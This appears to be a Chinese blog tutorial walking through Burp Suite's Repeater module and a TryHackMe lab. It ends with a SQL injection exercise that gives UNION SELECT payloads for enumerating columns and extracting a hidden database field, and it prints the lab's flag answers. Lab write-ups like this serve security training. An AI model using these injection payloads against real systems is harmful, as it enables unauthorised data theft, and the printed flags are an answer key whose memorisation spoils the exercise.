当前位置:首页 > 技术 > 正文内容

Burp Suite Repeater模块完全指南

访客 技术 2026年5月26日 4

概述

本文将详细介绍Burp Suite中Repeater(重放器)模块的功能和使用方法。Repeater是Burp Suite中最常用的工具之一,它允许安全测试人员修改并重新发送HTTP请求,以进行各种端点测试和安全评估。

相关实验环境链接:TryHackMe Burp Suite Repeater Room

Burp Suite Repeater

什么是Repeater?

Repeater是Burp Suite的核心组件之一,它提供了一个可视化的请求编辑和重发环境。使用Repeater,安全测试人员可以:

  • 修改并转发通过Burp代理拦截的请求到目标服务器
  • 手动构建和发送自定义HTTP请求
  • 多次重复发送相同的请求以观察不同参数下的响应
  • 分析请求和响应消息的详细内容

这种功能使Repeater非常适合进行手动端点测试、漏洞验证以及API安全评估等工作。

Repeater界面解析

Repeater的图形界面包含以下六个主要区域:

1. 请求历史列表

位于Repeater窗口左上方,显示所有已发送的请求记录。每次向Repeater发送新请求时,此处的记录数量会相应增加。

2. 请求控制按钮

在请求列表下方,提供了一组控制按钮,用于发送请求、取消挂起的请求,以及在请求历史中前后导航。

3. 请求与响应视图

这是Repeater的核心区域。左侧为请求编辑视图,右侧为响应查看视图。在请求视图中编辑完请求后,点击发送按钮,响应内容会显示在对应的响应视图中。

4. 视图布局设置

在请求响应视图的上方右侧,有一组布局选项,可选择水平并排显示(默认)、垂直上下显示,或将两个视图分别放置在独立的标签页中。

5. Inspector检查器

位于Repeater窗口右侧,提供了对请求和响应消息进行结构化分析的功能,可以更直观地查看和编辑消息内容。

6. Target目标信息

显示当前请求的目标IP地址或域名。当从Burp Suite其他模块发送请求到Repeater时,此处会自动填充目标信息。

Repeater界面

基础操作流程

发送请求到Repeater

虽然可以直接手动创建请求,但更常见的做法是通过Burp代理捕获请求后,再发送到Repeater进行修改和重发。

在Burp Proxy中捕获到请求后,可以通过以下方式发送到Repeater:

  • 右键单击请求,选择"Send to Repeater"
  • 使用快捷键Ctrl+R

发送请求

切换到Repeater界面后,可以在请求视图中看到已接收的请求消息。

请求视图

此时Target区域和Inspector界面也会显示相应的信息。点击"Send"按钮发送请求,响应视图将会显示服务器返回的内容。

响应视图

修改请求参数

可以直接在请求视图中修改请求内容,然后再次点击"Send"按钮发送修改后的请求。例如,可以修改"Connection"头部的值:

Connection: close

修改为:

Connection: open

观察响应消息中"Connection"头部的变化。

修改请求

提示:可以使用"Send"按钮右侧的翻页按钮浏览修改请求的历史记录。

响应消息显示格式

Repeater支持四种响应消息显示格式:

1. Pretty(美化格式)

默认选项,会对响应内容进行格式美化,使响应更易于阅读。

2. Raw(原始格式)

显示服务器返回的原始未处理响应内容。

3. Hex(十六进制格式)

以字节格式呈现响应内容,适用于查看二进制文件或分析原始数据。

4. Render(渲染格式)

将响应内容渲染为可视化页面,类似于浏览器中的显示效果。

显示格式

提示:通常使用Pretty格式查看响应消息。在Render选项旁边有一个"\n"按钮,用于显示不可打印字符(如\r\n)。

Inspector检查器界面

Inspector提供了对HTTP请求和响应消息的结构化分析功能,在Proxy和Repeater模块中都可以使用。

Inspector界面

可编辑的请求属性

在Request Attributes部分,可以修改:

  • Path(路径)
  • Method(HTTP方法,如GET、POST等)
  • Protocol(协议版本,如HTTP/1.1、HTTP/2)

请求属性

其他可查看和编辑的部分

  • Query Parameters:URL中的查询参数
  • Body Parameters:请求体中的参数,主要用于POST请求
  • Request Cookies:随请求发送的Cookie列表
  • Request Headers:请求头信息,可以添加、修改或删除
  • Response Headers:响应头信息(只读)

实战练习一:修改请求头

本练习演示如何使用Repeater修改HTTP请求头信息。

步骤:

  1. 启动目标机器
  2. 在Kali系统中打开Burp Suite,配置代理并启用拦截
  3. 通过浏览器访问目标站点,捕获请求后发送到Repeater

捕获请求

使用Inspector或手动方式,在请求中添加一个自定义头部"FlagAuthorised",并将其值设置为"True":

GET / HTTP/1.1
Host: 10.10.7.11
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
FlagAuthorised: True

添加头部

点击"Send"按钮发送请求,查看响应消息中的flag:

响应结果

Flag值:THM{Yzg2MWI2ZDhlYzdlNGFiZTUzZTIzMzVi}

实战练习二:测试端点验证漏洞

本练习演示如何测试目标网站的端点参数验证是否存在安全漏洞。

步骤:

  1. 禁用Burp代理的拦截功能
  2. 访问目标网站的/products/页面
  3. 点击"See More"链接,观察URL变化

产品页面

点击链接

系统会重定向到一个数字端点(如/products/3)。理想情况下,服务器应该验证端点数值是否为有效整数。如果验证不充分,可能存在安全风险。

测试方法:

  • 输入非数字字符或特殊符号
  • 输入超过可用产品数量的数字
  • 输入小于或等于0的数字

启用Burp代理拦截功能,捕获产品页面请求并发送到Repeater,将端点数值修改为-1后发送:

修改参数

发送请求

Flag值:THM{N2MzMzFhMTA1MmZiYjA2YWQ4M2ZmMzhl}

实战练习三:SQL注入漏洞测试

本练习演示如何使用Repeater测试和利用SQL注入漏洞。

目标:

测试目标网站/about/ID端点中ID参数是否存在SQL注入漏洞,并利用该漏洞获取存储在数据库中的CEO备注信息。

步骤:

  1. 启用Burp代理拦截功能
  2. 访问http://10.10.107.186/about/2
  3. 捕获请求后发送到Repeater模块

捕获请求

验证SQL注入漏洞

在端点参数后添加单引号'符号,观察服务器响应:

GET /about/2' HTTP/1.1
Host: 10.10.107.186
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

如果服务器返回"500 Internal Server Error",说明SQL查询被成功中断,存在SQL注入漏洞。

SQL错误

分析错误信息

从错误信息中提取关键信息:

Invalid statement:
SELECT firstName, lastName, pfpLink, role, bio FROM people WHERE id = 2'

从错误信息可以得知:

  • 数据库表名为:people
  • 已知的列名:firstName、lastName、pfpLink、role、bio

错误信息

枚举所有列名

使用UNION查询从information_schema.columns表中获取people表的所有列名:

/about/0 UNION ALL SELECT column_name,null,null,null,null FROM information_schema.columns WHERE table_name="people"

将ID值改为0(无效值),确保只响应UNION后的查询结果。

枚举列名

使用group_concat()函数获取所有列名:

/about/0 UNION ALL SELECT group_concat(column_name),null,null,null,null FROM information_schema.columns WHERE table_name="people"

所有列名

成功识别people表中的八列:id、firstName、lastName、pfpLink、role、shortRole、bio、notes。

根据任务目标,我们需要获取的列名为:notes。

获取目标数据

通过访问/about/页面并点击Jameson Wolfe的资料,获取CEO对应的ID值(通常为1)。

CEO资料

URL信息

提取Flag数据

构造最终的SQL注入payload:

/about/0 UNION ALL SELECT notes,null,null,null,null FROM people WHERE id = 1

提取数据

Flag值:THM{ZGE3OTUyZGMyMzkwNjJmZjg3Mzk1NjJh}

最终结果

总结

Burp Suite的Repeater模块是Web安全测试中不可或缺的工具。通过本文的学习,您应该能够:

  • 理解Repeater模块的基本功能
  • 熟练使用Repeater进行请求修改和重发
  • 掌握不同响应格式的使用场景
  • 使用Inspector进行结构化分析
  • 完成基本的SQL注入漏洞测试

Repeater的灵活性和可视化界面使其成为渗透测试人员日常工作中最常用的工具之一。

相关文章

Linux crontab 详解

1) crontab 是什么cron 是 Linux 的定时任务守护进程;crontab 是用来编辑/查看“按时间周期执行命令”的表(cron table)。常见两类:用户 crontab:每个用户一份(crontab -e 编辑)系统级 crontab / cron.d:可指定执行用户(/etc/crontab、/etc/cron.d/*)2) crontab 时间...

富文本里可以允许的 HTML 属性

一、所有标签默认允许的安全属性(极少)class        (可选)id           (通常建议禁用)title️ 注意:id 容易被滥用做锚点注入,很多系统直接禁用class 允许的话最好只允许固定前缀(如 editor-*)二、a 标签允许属性<a href="" t...

Mac 安装 Node.js 指南

方法一:通过官网安装包(最简单,适合初学者)如果你只是想快速安装并开始使用,这是最直接的方法。访问 Node.js 官网。页面会显示两个版本:LTS (Recommended For Most Users):长期支持版,最稳定。建议选这个。Current:最新特性版,包含最新功能但可能不够稳定。下载 .pkg 安装包并运行。按照安装向导点击“下一步”即可完成。方法二:使用 Homebrew 安装(...

Dom\HTML_NO_DEFAULT_NS 的副作用:自动加闭合标签

在使用Dom\HTMLDocument时,Dom\HTML_NO_DEFAULT_NS 将禁止在解析过程中设置元素的命名空间, 此设置是为了与DOMDocument向后兼容而存在的。当使用它时,已知的一个副作用就是:自动加闭合标签例如 </img> 为什么会这样?当你使用:Dom\HTML_NO_DEFAULT_NS文档会变成 无命名空间模式,此时内部更接近 XML...

Laravel 事件和监听器创建

在 Laravel 中,使用 Artisan 命令创建 Events(事件) 和 Listeners(监听器) 是非常高效的。你可以通过以下几种方式来实现:1. 手动创建单个 Event如果你只想创建一个事件类,可以使用 make:event 命令:Bashphp artisan make:event UserRegistered执行后,文件将生成在 app/Even...

自定义域名解析神器 dnsmasq

什么是 dnsmasq?dnsmasq 是一个轻量级、功能强大的网络服务工具,专为小型和中等规模网络设计。它是一个综合的网络基础设施解决方案[1]。dnsmasq 能做什么?功能说明应用场景DNS 转发与缓存将 DNS 查询转发到上游服务器(ISP、Google DNS 等),并在本地缓存结果加快 DNS 查询速度,减少外部 DNS 流量本地 DNS解析本地网络设备的主机名,无需编辑&n...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。